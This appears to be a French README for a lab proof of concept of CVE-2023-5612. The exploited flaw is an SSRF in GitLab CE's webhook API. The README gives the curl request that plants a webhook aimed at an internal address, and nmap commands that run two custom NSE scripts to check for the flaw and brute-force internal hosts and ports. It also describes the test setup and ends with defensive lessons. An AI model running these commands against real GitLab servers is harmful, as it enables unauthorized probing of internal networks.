curl -s --header "PRIVATE-TOKEN: <TOKEN>" \
     --data-urlencode "url=http://127.0.0.1:8888" \
     http://<gitlab-host>:8080/api/v4/projects/<project_id>/hooks

- Kali Linux dans une machine virtuelle déployée spécifiquement pour les tests
- Une instance vulnérable de GitLab CE lancée via Docker (port 8080)
- Dans GitLab :
- Création d'un projet de test
- Génération d'un Personal Access Token (glpat-...) avec les droits Maintainer
- Lancement d'un service HTTP minimal sur 127.0.0.1:8888 comme cible SSRF interne

- Confirmation manuelle de la vulnérabilité via curl (voir PoC)
- Création de scripts NSE personnalisés :
gitlab-ssrf.nse : vérification ciblée du SSRF
gitlab-ssrf-brute.nse : énumération automatique des adresses internes
- Tests avec nmap -d et --script-trace pour analyser le comportement de l'API et consigner les résultats
- Obtention d'une réponse 401 Unauthorized du service interne, indiquant un SSRF réussi
- Une requête réussie renverra `201 Created` ou une erreur de type `401 Unauthorized`, ce qui indique un accès SSRF.

nmap -p 8080 \
  --script ./gitlab-ssrf.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

nmap -p 8080 \
  --script ./gitlab-ssrf-brute.nse \
  --script-args gitlab.token="<TOKEN>" \
  <target-ip>

Au cours des travaux sur la vulnérabilité **CVE-2023-5612**, un scénario d'attaque SSRF réussi a été reproduit, avec un accès aux adresses internes via l'API GitLab CE. Cela démontre à quel point il est important de limiter les capacités des webhooks et de mettre en place une validation des URL côté serveur.

.
├── gitlab-ssrf.nse             # Script NSE pour la vérification manuelle du SSRF
├── gitlab-ssrf-brute.nse       # Script NSE de force brute pour scanner les hôtes/ports internes
├── screenshots/                # Captures d'écran de l'exécution du PoC et de la confirmation de la vulnérabilité
└── README.md                   # Ce fichier